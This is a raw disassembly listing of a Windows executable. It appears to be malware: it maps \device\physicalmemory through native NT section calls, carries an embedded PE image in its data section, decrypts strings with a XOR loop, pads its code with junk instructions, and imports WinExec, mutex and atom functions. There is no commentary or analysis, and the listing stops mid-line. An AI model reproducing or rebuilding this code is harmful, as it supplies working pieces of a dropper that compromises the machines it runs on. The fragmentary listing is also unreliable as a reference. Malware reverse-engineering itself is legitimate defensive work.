aIphlpapi_dll db 'iphlpapi.dll',0 aInetmib1_dll db 'inetmib1.dll',0 aWsock32_dll db 'wsock32.dll',0 aUser32_dll db 'user32.dll',0 off_43CE7C dd offset aProcess32next ; DATA XREF: sub_402A48+BAr ; sub_402A48+EDr ... ; "Process32Next" off_43CE80 dd offset aKernel32_dll ; DATA XREF: sub_402A48+9Br ; "kernel32.dll" off_43CE84 dd offset word_43CA1E ; DATA XREF: sub_402843+1F1r byte_43CE88 db 0 ; DATA XREF: sub_402A48+66r ; sub_402A48+83r align 4 dd offset dword_43C940+4 dd offset aNtdll_dll ; "ntdll.dll" dd offset loc_43C95D dd 1, 43C8BDh, 43CE27h, 43C8CBh, 1, 43C83Ch, 43CE27h, 43C84Ah dd 2, 43CB35h, 43CE3Eh, 43CB41h, 1, 43CACDh, 43CE3Eh, 43CAD9h dd 0 dd offset dword_43CBA0+3 dd offset aAdvapi32_dll ; "advapi32.dll" dd offset loc_43CBB1 dd 1, 43CC47h, 43CE3Eh, 43CC55h, 0 dd offset dword_43CCE0+5 dd offset aAdvapi32_dll ; "advapi32.dll" dd offset loc_43CCF3 dd 1, 43CD89h, 43CE3Eh, 43CD97h, 5 dup(0) dd 1 dword_43CF30 dd 0Ah dword_43CF34 dd 0 ; .text:loc_4021C8r ... aRtlinitunicode db 'RtlInitUnicodeString',0 ; DATA XREF: sub_402226+25o db '^H',0 aNtunmapviewofs db 'NtUnmapViewOfSection',0 ; DATA XREF: sub_402226+3Ao db 7Ah, 57h, 34h dd 7F3640h aNtopensection db 'NtOpenSection',0 ; DATA XREF: sub_402226+4Ao aBc db ':Bc',0 aNtmapviewofsec db 'NtMapViewOfSection',0 ; DATA XREF: sub_402226+65o align 2 aRtlntstatustod db 'RtlNtStatusToDosError',0 ; DATA XREF: sub_402226+75o aCurrent_user db 'CURRENT_USER',0 ; DATA XREF: sub_4022BB+95o align 4 aDevicePhysical: ; DATA XREF: sub_4022BB+Eo unicode 0, <\device\physicalmemory>,0 byte_43CFE6 db 0 ; DATA XREF: sub_4022BB+5Eo dword_43CFE7 dd 465420h byte_43CFEB db 0 ; DATA XREF: sub_4022BB+A1o dword_43CFEC dd 248243h word_43CFF0 dw 66h ; DATA XREF: sub_4024A8+4r align 4 dword_43CFF4 dd 0 dword_43CFF8 dd 11h dword_43CFFC dd 0 ; .text:loc_4024EAr ... aWcscmp db 'wcscmp',0 ; DATA XREF: .data:off_43D094o aHtons db 'htons',0 aVirtualprotect db 'VirtualProtect',0 aNua db 'NU€',0 aGetcurrentproc db 'GetCurrentProcessId',0 dd 6E694600h, 6E695764h, 41776F64h, 74306B00h, 3B6E704Dh dd 6E655300h, 73654D64h, 65676173h, 3E530041h, 7349007Eh dd 52646142h, 50646165h, 37007274h, 83382520h, 6C470065h dd 6C61626Fh, 646E6946h, 6D6F7441h, 6C470041h, 6C61626Fh dd 646E6946h, 6D6F7441h, 57h byte_43D090 db 3 ; DATA XREF: sub_402563+87r align 4 off_43D094 dd offset aWcscmp ; DATA XREF: sub_402563+FBr ; sub_402563+15Er ; "wcscmp" off_43D098 dd offset aNtdll_dll ; DATA XREF: sub_402563+E8r ; "ntdll.dll" dd 5, 43D007h, 43CE65h, 7, 43D00Dh, 43CE27h, 8, 43D020h dd 43CE27h, 9, 43D035h, 43CE71h, 0Ah, 43D049h, 43CE71h dd 0Bh, 43D05Ah, 43CE27h, 0Ch, 43D06Eh, 43CE27h, 0Dh, 43D07Eh dd 43CE27h aCcLN db 'CC$l+n',0 ; DATA XREF: sub_402563+Co word_43D103 dw 68h ; DATA XREF: sub_402563+14Br aTLd db 'T-+ld&',0 ; DATA XREF: sub_402563+1BDo a5anwhv db '5€Nwhv',0 ; DATA XREF: sub_402843+3Co aZ db 'z ',0 ; DATA XREF: sub_402843+DFo aNiL db 'NI*l',0 ; DATA XREF: sub_402843+135o word_43D11B dw 62h ; DATA XREF: sub_402843+191r byte_43D11D db 6Ch, 75h, 0 ; DATA XREF: sub_402A48+3Fo aOGdu db 'O$/gdu ',0 ; DATA XREF: sub_402A48+101o aE3 db '-;E3',0 ; DATA XREF: sub_402A48+40Bo aZt_ db '!/zt_$',0 ; DATA XREF: sub_402A48+511o byte_43D134 db 0 ; DATA XREF: sub_403010+46o aZ_0 db ' Z',0 ; DATA XREF: sub_403010+216o dw 7 unicode 0, <>,0 dd 10h dword_43D140 dd 0Ah ; sub_4032E2:loc_403308r ... aObxzqn@ db 'oxzqn@',0 ; DATA XREF: sub_403370+48o byte_43D14C db 0 ; DATA XREF: sub_403370+9Eo word_43D14D dw 4Eh ; DATA XREF: sub_40341E+6Cr word_43D14F dw 57h ; DATA XREF: sub_40349A+Cr dword_43D151 dd 813B36h aJ95e db ' J95E',0 ; DATA XREF: sub_40349A+79o align 4 dword_43D15C dd 1 dd 0Ah dword_43D164 dd 0 ; sub_40354F:loc_40357Dr ... byte_43D168 db 5Eh, 48h, 0 ; DATA XREF: sub_4035DB+Fo byte_43D16B db 7Ah ; DATA XREF: sub_4035DB+1Fo dd 36403457h db 7Fh, 0 aDmc9 db '!dmC9',0 ; DATA XREF: sub_4036BC+17o dd 0 dd 11h dword_43D180 dd 0 ; sub_40372A:loc_403751r ... a9b7 db ':9b 7-',0 ; DATA XREF: .text:00403873o aUa db 'U€',0 ; DATA XREF: .text:004038E9o align 10h dd 6, 0Eh dword_43D198 dd 0ADh ; sub_40390E:loc_403943r ... dword_43D19C dd 905A4Dh, 3, 4, 0FFFFh, 0B8h, 0 dd 40h, 8 dup(0) dd 80h, 0EBA1F0Eh, 0CD09B400h, 4C01B821h, 685421CDh, 70207369h dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 0 dd 4550h, 7014Ch, 427CB50Ah, 2 dup(0) dd 210E00E0h, 3702010Bh, 800h, 0C00h, 1000h, 1190h, 1000h dd 2000h, 10000000h, 1000h, 200h, 1, 0 dd 4, 0 dd 8000h, 400h, 0 dd 2, 100000h, 1000h, 100000h, 1000h, 0 dd 10h, 7000h, 48h, 5000h, 37Ch, 6 dup(0) dd 6000h, 0DCh, 3000h, 54h, 12h dup(0) a_text db '.text',0 align 4 db '¼',7,0 align 10h dd 1000h, 7BCh, 400h, 3 dup(0) dd 60000020h, 7373622Eh, 0 dd 0FE0h, 2000h, 5 dup(0) dd 0C0000080h, 6164722Eh, 6174h, 54h, 3000h, 54h, 0C00h dd 3 dup(0) dd 40000020h, 7461642Eh, 61h, 0C4h, 4000h, 0C4h, 0E00h dd 3 dup(0) dd 0C0000040h, 6164692Eh, 6174h, 37Ch, 5000h, 37Ch, 1000h dd 3 dup(0) dd 0C0000060h, 6C65722Eh, 636Fh, 0E4h, 6000h, 0E4h, 1600h dd 3 dup(0) dd 2000020h, 6164652Eh, 6174h, 48h, 7000h, 48h, 1800h dd 3 dup(0) dd 40000020h, 5Ch dup(0) dd 8B40C031h, 0F704244Ch, 60441h, 0F740000h, 824448Bh dd 1024548Bh, 3B80289h, 0C3000000h ; =============== S U B R O U T I N E ======================================= sub_43D5BC proc near ; CODE XREF: .data:0043D6E4p ; .data:0043D712p var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push 10001000h push large dword ptr fs:0 mov large fs:0, esp loc_43D5D9: ; CODE XREF: sub_43D5BC+44j ; sub_43D5BC+4Aj mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_43D608 cmp esi, [esp+1Ch+arg_4] jz short loc_43D608 lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov ecx, [esp+1Ch+var_14] mov ecx, [eax+0Ch] cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_43D5D9 call dword ptr [ebx+esi*4+8] jmp short loc_43D5D9 ; --------------------------------------------------------------------------- loc_43D608: ; CODE XREF: sub_43D5BC+2Aj ; sub_43D5BC+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_43D5BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43D616 proc near ; CODE XREF: .data:0043D6D7p arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push 10001092h push [ebp+arg_0] call sub_43DCB0 pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_43D616 endp ; --------------------------------------------------------------------------- db 0FCh ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp mov ebx, [ebp+0Ch] mov eax, [ebp+8] test dword ptr [eax+4], 6 jnz loc_43D70B mov [ebp-8], eax mov eax, [ebp+10h] mov [ebp-4], eax lea eax, [ebp-8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_43D669: ; CODE XREF: .data:0043D702j cmp esi, 0FFFFFFFFh jz loc_43D71A lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_43D6F9 push esi push ebp lea ebp, [ebx+10h] mov eax, [ebp-14h] mov eax, [eax] mov eax, [eax] mov ds:10004034h, eax mov edx, [ebp-14h] mov eax, [edx] mov ds:10004038h, eax mov eax, [edx+4] mov ds:1000403Ch, eax push esi push edi push ecx mov ecx, 14h lea edi, ds:10004040h mov esi, ds:10004038h rep movsd lea edi, ds:10004040h mov ds:10004038h, edi pop ecx pop edi pop esi call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+0Ch] or eax, eax jz short loc_43D6F9 js short loc_43D707 mov edi, [ebx+8] push ebx call sub_43D616 add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_43D5BC add esp, 8 lea ecx, [esi+esi*2] mov eax, [edi+ecx*4] mov eax, [ebx+0Ch] call dword ptr [edi+ecx*4+8] loc_43D6F9: ; CODE XREF: .data:0043D67Aj ; .data:0043D6CFj mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp loc_43D669 ; --------------------------------------------------------------------------- loc_43D707: ; CODE XREF: .data:0043D6D1j xor eax, eax jmp short loc_43D724 ; --------------------------------------------------------------------------- loc_43D70B: ; CODE XREF: .data:0043D64Ej push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_43D5BC add esp, 0Ch loc_43D71A: ; CODE XREF: .data:0043D66Cj push 0Bh call sub_43DD1C add esp, 4 loc_43D724: ; CODE XREF: .data:0043D709j pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push esi push edi cmp dword ptr [ebp+0Ch], 1 jnz short loc_43D73D call sub_43D760 loc_43D73D: ; CODE XREF: .data:0043D736j call sub_43DC0F push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] mov eax, ds:10004000h call eax pop edi pop esi pop ebx leave retn 0Ch ; --------------------------------------------------------------------------- db 0B8h, 1, 0 dd 0F2EB0000h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43D760 proc near ; CODE XREF: .data:0043D738p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch push edi push 0 push 0FFFFFFF6h call sub_43DCD4 mov [ebp+var_8], eax push 0 push 0FFFFFFF5h call sub_43DCD4 mov [ebp+var_4], eax push 0 push 0FFFFFFF4h call sub_43DCD4 mov [ebp+var_C], eax push 1000401Eh push [ebp+var_8] call sub_43DCC8 mov ds:10004008h, eax push 1000401Ch push [ebp+var_4] call sub_43DCC8 mov ds:10004004h, eax push 1000401Ch push [ebp+var_C] call sub_43DCC8 add esp, 30h mov ds:1000400Ch, eax mov edi, ds:10004004h or edi, edi jz short loc_43D7D9 push 0 push edi call sub_43DD28 add esp, 8 loc_43D7D9: ; CODE XREF: sub_43D760+6Cj mov edi, ds:1000400Ch or edi, edi jz short loc_43D7F3 push 0 push edi call sub_43DD28 add esp, 8 call sub_43D7F8 loc_43D7F3: ; CODE XREF: sub_43D760+81j pop edi leave retn sub_43D760 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43D7F8 proc near ; CODE XREF: sub_43D760+8Ep var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi mov [ebp+var_C], 0 call sub_43DC44 mov ebx, eax mov [ebp+var_10], ebx jmp short loc_43D835 ; --------------------------------------------------------------------------- loc_43D814: ; CODE XREF: sub_43D7F8+45j cmp byte ptr ds:0[ebx], 3Dh jz short loc_43D821 inc [ebp+var_C] loc_43D821: ; CODE XREF: sub_43D7F8+24j mov edi, ebx xor eax, eax stc sbb ecx, ecx repne scasb neg ecx lea eax, [ecx-2] mov edi, eax inc edi lea ebx, [ebx+edi] loc_43D835: ; CODE XREF: sub_43D7F8+1Aj cmp byte ptr ds:0[ebx], 0 jnz short loc_43D814 mov edi, [ebp+var_C] inc edi lea edi, ds:0[edi*4] mov [ebp+var_14], edi push [ebp+var_14] call sub_43DCF8 pop ecx mov [ebp+var_8], eax mov ds:10004010h, eax cmp [ebp+var_8], 0 jnz short loc_43D868 xor eax, eax jmp short loc_43D8DE ; --------------------------------------------------------------------------- loc_43D868: ; CODE XREF: sub_43D7F8+6Aj mov ebx, [ebp+var_10] jmp short loc_43D8C1 ; --------------------------------------------------------------------------- loc_43D86D: ; CODE XREF: sub_43D7F8+D1j mov edi, ebx xor eax, eax stc sbb ecx, ecx repne scasb neg ecx lea eax, [ecx-2] mov edi, eax inc edi mov [ebp+var_4], edi cmp byte ptr ds:0[ebx], 3Dh jz short loc_43D8BB push [ebp+var_4] call sub_43DCF8 pop ecx mov esi, [ebp+var_8] mov ds:0[esi], eax or eax, eax jnz short loc_43D8A4 jmp short loc_43D8DE ; --------------------------------------------------------------------------- loc_43D8A4: ; CODE XREF: sub_43D7F8+A8j push ebx mov edi, [ebp+var_8] push dword ptr ds:0[edi] call sub_43DD4C add esp, 8 add [ebp+var_8], 4 loc_43D8BB: ; CODE XREF: sub_43D7F8+91j mov edx, [ebp+var_4] lea ebx, [ebx+edx] loc_43D8C1: ; CODE XREF: sub_43D7F8+73j cmp byte ptr ds:0[ebx], 0 jnz short loc_43D86D mov edx, [ebp+var_8] mov dword ptr ds:0[edx], 0 mov eax, 1 loc_43D8DE: ; CODE XREF: sub_43D7F8+6Ej ; sub_43D7F8+AAj pop edi pop esi pop ebx leave retn sub_43D7F8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43D8E4 proc near ; CODE XREF: sub_43D98E+22p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push esi push edi mov esi, [ebp+arg_4] mov [ebp+var_4], 181h push esi push [ebp+arg_0] mov eax, ds:10004098h lea eax, ds:10002000h[eax] push eax call sub_43DD04 add esp, 0Ch xor edi, edi jmp short loc_43D92D ; --------------------------------------------------------------------------- loc_43D913: ; CODE XREF: sub_43D8E4+4Bj mov eax, ds:10004098h add eax, edi lea eax, ds:10002000h[eax] movsx edx, byte ptr [eax] xor edx, 0D9h mov [eax], dl inc edi loc_43D92D: ; CODE XREF: sub_43D8E4+2Dj cmp edi, esi jl short loc_43D913 mov [ebp+var_8], 389h mov eax, ds:10004098h add eax, esi mov byte ptr ds:10002000h[eax], 0 xor edi, edi mov edi, ds:10004098h add dword ptr ds:10004098h, 3 mov eax, ds:10004098h lea eax, [eax+esi+4] mov ds:10004098h, eax inc dword ptr ds:10004098h cmp dword ptr ds:10004098h, 0DB6h jle short loc_43D97D and dword ptr ds:10004098h, 0 loc_43D97D: ; CODE XREF: sub_43D8E4+90j mov [ebp+var_C], 9Ch lea eax, [edi+10002000h] pop edi pop esi leave retn sub_43D8E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43D98E proc near ; CODE XREF: .data:0043DB27p var_E = word ptr -0Eh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 10h push esi push edi lea edi, [ebp+var_5] lea esi, ds:1000409Ch xor ecx, ecx inc ecx rep movsb call sub_43DC80 push 5 push 100040BDh call sub_43D8E4 add esp, 8 push eax push 0 push 1F0001h call sub_43DCA4 mov [ebp+var_4], eax or eax, eax jz short loc_43D9E9 mov [ebp+var_C], 4FA1h inc [ebp+var_C] push eax call sub_43DC5C mov [ebp+var_E], 6C6Dh inc [ebp+var_E] xor eax, eax inc eax loc_43D9E9: ; CODE XREF: sub_43D98E+3Cj pop edi pop esi leave retn sub_43D98E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43D9ED proc near ; CODE XREF: .data:0043DB5Bp var_10A = byte ptr -10Ah var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10Ch push ebx push esi push edi mov edi, [ebp+arg_0] call sub_43DC38 call sub_43DC68 mov ecx, edi or eax, 0FFFFFFFFh loc_43DA0B: ; CODE XREF: sub_43D9ED+23j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_43DA0B mov ebx, eax mov [ebp+var_6], bx mov ax, [ebp+var_6] mov [ebp+var_2], ax jmp short loc_43DA40 ; --------------------------------------------------------------------------- loc_43DA22: ; CODE XREF: sub_43D9ED+59j movzx eax, [ebp+var_2] cmp byte ptr [edi+eax], 5Ch jnz short loc_43DA3C call sub_43DC2C inc [ebp+var_2] call sub_43DC80 jmp short loc_43DA48 ; --------------------------------------------------------------------------- loc_43DA3C: ; CODE XREF: sub_43D9ED+3Dj dec [ebp+var_2] loc_43DA40: ; CODE XREF: sub_43D9ED+33j movzx eax, [ebp+var_2] or eax, eax jg short loc_43DA22 loc_43DA48: ; CODE XREF: sub_43D9ED+4Dj mov ax, [ebp+var_2] cmp ax, [ebp+var_6] jnb short loc_43DA86 mov [ebp+var_4], 0 jmp short loc_43DA74 ; --------------------------------------------------------------------------- loc_43DA5A: ; CODE XREF: sub_43D9ED+97j movzx eax, [ebp+var_4] movzx edx, [ebp+var_2] mov ecx, eax add ecx, edx mov dl, [edi+ecx] mov [ebp+eax+var_10A], dl inc [ebp+var_4] loc_43DA74: ; CODE XREF: sub_43D9ED+6Bj movzx eax, [ebp+var_4] movzx edx, [ebp+var_6] movzx ecx, [ebp+var_2] sub edx, ecx cmp eax, edx jle short loc_43DA5A loc_43DA86: ; CODE XREF: sub_43D9ED+63j mov esi, 6BBCh add esi, 7D41h lea eax, [ebp+var_10A] push eax call sub_43DC98 call sub_43DC8C pop edi pop esi pop ebx leave retn sub_43D9ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43DAA7 proc near ; CODE XREF: .data:0043DBAEp var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push eax push esi push edi call sub_43DC38 push 100040BBh push [ebp+arg_0] call sub_43DD40 add esp, 8 lea edi, [ebp+var_8] lea esi, ds:1000409Dh movsd movsd pop edi pop esi leave retn sub_43DAA7 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 21Ch push esi push edi mov ax, ds:100040A5h mov [ebp-217h], ax mov eax, ds:10004094h add eax, 698h push eax call sub_43DD34 mov byte ptr [ebp-100h], 84h sub byte ptr [ebp-100h], 68h mov eax, ds:10004090h mov edx, eax add edx, 5 push edx mov edx, 0Fh sub edx, ds:10004094h push edx mov edx, 4 sub edx, eax push edx call sub_43D98E add esp, 10h or eax, eax jz short loc_43DB3B xor eax, eax inc eax jmp loc_43DBE4 ; --------------------------------------------------------------------------- loc_43DB3B: ; CODE XREF: .data:0043DB31j push 104h lea eax, [ebp-205h] push eax push dword ptr [ebp+8] call sub_43DC50 call sub_43DC38 lea eax, [ebp-205h] push eax call sub_43D9ED mov byte ptr [ebp-101h], 1Bh add byte ptr [ebp-101h], 1 lea edi, [ebp-215h] lea esi, ds:100040A7h mov ecx, 4 rep movsd push 0FFh lea eax, [ebp-0FFh] push eax call sub_43DC74 mov eax, ds:100040B7h mov [ebp-21Bh], eax call sub_43DC38 call sub_43DC2C lea eax, [ebp-0FFh] push eax call sub_43DAA7 call sub_43DC80 lea eax, [ebp-215h] push eax lea eax, [ebp-0FFh] push eax call sub_43DD40 add esp, 10h push 1 lea eax, [ebp-0FFh] push eax call sub_43DCBC call sub_43DC68 xor eax, eax inc eax loc_43DBE4: ; CODE XREF: .data:0043DB36j pop edi pop esi leave retn 0Ch ; --------------------------------------------------------------------------- align 4 dd 243CD950h, 0F24048Bh, 82434BAh, 240C8166h db 0, 2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43DC0F loc_43DBFE: ; CODE XREF: sub_43DC0F+Dj fldcw word ptr [esp+4+var_4] pop ecx mov al, ah and eax, 3 retn ; END OF FUNCTION CHUNK FOR sub_43DC0F ; --------------------------------------------------------------------------- dd 243CD950h db 58h, 0EBh, 0F3h ; =============== S U B R O U T I N E ======================================= sub_43DC0F proc near ; CODE XREF: .data:loc_43D73Dp var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0043DBFE SIZE 0000000A BYTES push eax fnstcw word ptr [esp+4+var_4] mov eax, [esp+4+var_4] or word ptr [esp+4+var_4], 300h jmp short loc_43DBFE sub_43DC0F endp ; --------------------------------------------------------------------------- align 10h dd 50E825FFh, 90901000h, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DC2C proc near ; CODE XREF: sub_43D9ED+3Fp ; .data:0043DBA2p jmp dword ptr ds:100050ECh sub_43DC2C endp ; --------------------------------------------------------------------------- dw 9090h align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DC38 proc near ; CODE XREF: sub_43D9ED+Fp ; sub_43DAA7+7p ... jmp dword ptr ds:100050F0h sub_43DC38 endp ; --------------------------------------------------------------------------- dw 9090h dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DC44 proc near ; CODE XREF: sub_43D7F8+10p jmp dword ptr ds:100050F4h sub_43DC44 endp ; --------------------------------------------------------------------------- dw 9090h align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DC50 proc near ; CODE XREF: .data:0043DB4Ap jmp dword ptr ds:100050F8h sub_43DC50 endp ; --------------------------------------------------------------------------- dw 9090h dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DC5C proc near ; CODE XREF: sub_43D98E+49p jmp dword ptr ds:100050FCh sub_43DC5C endp ; --------------------------------------------------------------------------- dw 9090h align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DC68 proc near ; CODE XREF: sub_43D9ED+14p ; .data:0043DBDCp jmp dword ptr ds:10005100h sub_43DC68 endp ; --------------------------------------------------------------------------- dw 9090h dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DC74 proc near ; CODE XREF: .data:0043DB8Dp jmp dword ptr ds:10005104h sub_43DC74 endp ; --------------------------------------------------------------------------- dw 9090h align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DC80 proc near ; CODE XREF: sub_43D98E+16p ; sub_43D9ED+48p ... jmp dword ptr ds:10005108h sub_43DC80 endp ; --------------------------------------------------------------------------- dw 9090h dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DC8C proc near ; CODE XREF: sub_43D9ED+B0p jmp dword ptr ds:1000510Ch sub_43DC8C endp ; --------------------------------------------------------------------------- dw 9090h align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DC98 proc near ; CODE XREF: sub_43D9ED+ABp jmp dword ptr ds:10005110h sub_43DC98 endp ; --------------------------------------------------------------------------- dw 9090h dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DCA4 proc near ; CODE XREF: sub_43D98E+32p jmp dword ptr ds:10005114h sub_43DCA4 endp ; --------------------------------------------------------------------------- dw 9090h align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DCB0 proc near ; CODE XREF: sub_43D616+13p jmp dword ptr ds:10005118h sub_43DCB0 endp ; --------------------------------------------------------------------------- dw 9090h dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DCBC proc near ; CODE XREF: .data:0043DBD7p jmp dword ptr ds:1000511Ch sub_43DCBC endp ; --------------------------------------------------------------------------- dw 9090h align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DCC8 proc near ; CODE XREF: sub_43D760+33p ; sub_43D760+45p ... jmp dword ptr ds:10005128h sub_43DCC8 endp ; --------------------------------------------------------------------------- dw 9090h dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DCD4 proc near ; CODE XREF: sub_43D760+Bp ; sub_43D760+17p ... jmp dword ptr ds:1000512Ch sub_43DCD4 endp ; --------------------------------------------------------------------------- dw 9090h align 10h dd 513025FFh, 90901000h, 0 dd 513425FFh, 90901000h, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DCF8 proc near ; CODE XREF: sub_43D7F8+58p ; sub_43D7F8+96p jmp dword ptr ds:10005138h sub_43DCF8 endp ; --------------------------------------------------------------------------- dw 9090h dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DD04 proc near ; CODE XREF: sub_43D8E4+23p jmp dword ptr ds:1000513Ch sub_43DD04 endp ; --------------------------------------------------------------------------- dw 9090h align 10h dd 514025FFh, 90901000h, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DD1C proc near ; CODE XREF: .data:0043D71Cp jmp dword ptr ds:10005144h sub_43DD1C endp ; --------------------------------------------------------------------------- dw 9090h align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DD28 proc near ; CODE XREF: sub_43D760+71p ; sub_43D760+86p jmp dword ptr ds:10005148h sub_43DD28 endp ; --------------------------------------------------------------------------- dw 9090h dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DD34 proc near ; CODE XREF: .data:0043DAF5p jmp dword ptr ds:1000514Ch sub_43DD34 endp ; --------------------------------------------------------------------------- dw 9090h align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DD40 proc near ; CODE XREF: sub_43DAA7+14p ; .data:0043DBC6p jmp dword ptr ds:10005150h sub_43DD40 endp ; --------------------------------------------------------------------------- dw 9090h dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DD4C proc near ; CODE XREF: sub_43D7F8+B7p jmp dword ptr ds:10005154h sub_43DD4C endp ; --------------------------------------------------------------------------- dw 9090h dd 14h dup(0) dd 2 dup(1), 7Ch dup(0) dd 10001536h, 5 dup(0) dd 7325h, 720077h, 1Ch dup(0) dd 2, 0Ch, 0 dd 3B4E2A00h, 734D3E5Ah db 0, 4Bh, 0 aKimhehjd db 'Kimhehjd',0 ; DATA XREF: sub_403BE7+283o aJklmno db 'jklmno',0 aAy_0 db 'Ay&',0 db '\',0 aTtii db '’’ˆë»',0 align 10h dd 4Fh dup(0) dd 5070h, 2 dup(0) dd 52F8h, 50E8h, 50B0h, 2 dup(0) dd 5340h, 5128h, 12h dup(0) dd 515Ch, 516Ch, 5184h, 519Ch, 51B8h, 51D0h, 51E0h, 51F4h dd 520Ch, 521Ch, 522Ch, 5240h, 5250h, 525Ch, 2 dup(0) dd 5268h, 5274h, 5288h, 5294h, 52A0h, 52ACh, 52B8h, 52C4h dd 52CCh, 52D8h, 52E0h, 52ECh, 2 dup(0) dd 515Ch, 516Ch, 5184h, 519Ch, 51B8h, 51D0h, 51E0h, 51F4h dd 520Ch, 521Ch, 522Ch, 5240h, 5250h, 525Ch, 2 dup(0) dd 5268h, 5274h, 5288h, 5294h, 52A0h, 52ACh, 52B8h, 52C4h dd 52CCh, 52D8h, 52E0h, 52ECh, 0 dd 78450081h, 72507469h, 7365636Fh, 73h, 654700DEh, 72754374h dd 746E6572h, 636F7250h, 49737365h, 64h, 654700E0h, 72754374h dd 746E6572h, 65726854h, 64496461h, 0 dd 654700EDh, 766E4574h, 6E6F7269h, 746E656Dh, 69727453h dd 4173676Eh, 0 dd 6547010Ah, 646F4D74h, 46656C75h, 4E656C69h, 41656D61h dd 0 dd 6C43001Bh, 4865736Fh, 6C646E61h, 65h, 65470124h, 6F725074h dd 73736563h, 70616548h, 0 dd 6547013Fh, 73795374h, 446D6574h, 63657269h, 79726F74h dd 41h, 65470155h, 63695474h, 756F436Bh, 746Eh, 6547015Ch dd 72655674h, 6E6F6973h, 0 dd 6C470168h, 6C61626Fh, 41646441h, 416D6F74h, 0 dd 704F01D2h, 754D6E65h, 41786574h, 0 dd 7452020Eh, 776E556Ch, 646E69h, 69570298h, 6578456Eh dd 63h, 665F0080h, 65706F64h, 6Eh, 6F5F014Fh, 5F6E6570h dd 6866736Fh, 6C646E61h, 65h, 6366020Dh, 65736F6Ch, 0 dd 635F0039h, 74697865h, 0 dd 616D024Eh, 636F6C6Ch, 0 dd 656D0254h, 7970636Dh, 0 dd 7270025Bh, 66746E69h, 0 dd 61720260h, 657369h, 65730267h, 66756274h, 0 dd 7273026Fh, 646E61h, 74730271h, 74616372h, 0 dd 74730275h, 79706372h, 0 aKernel32_dll_0 db 'KERNEL32.DLL',0 align 4 dd 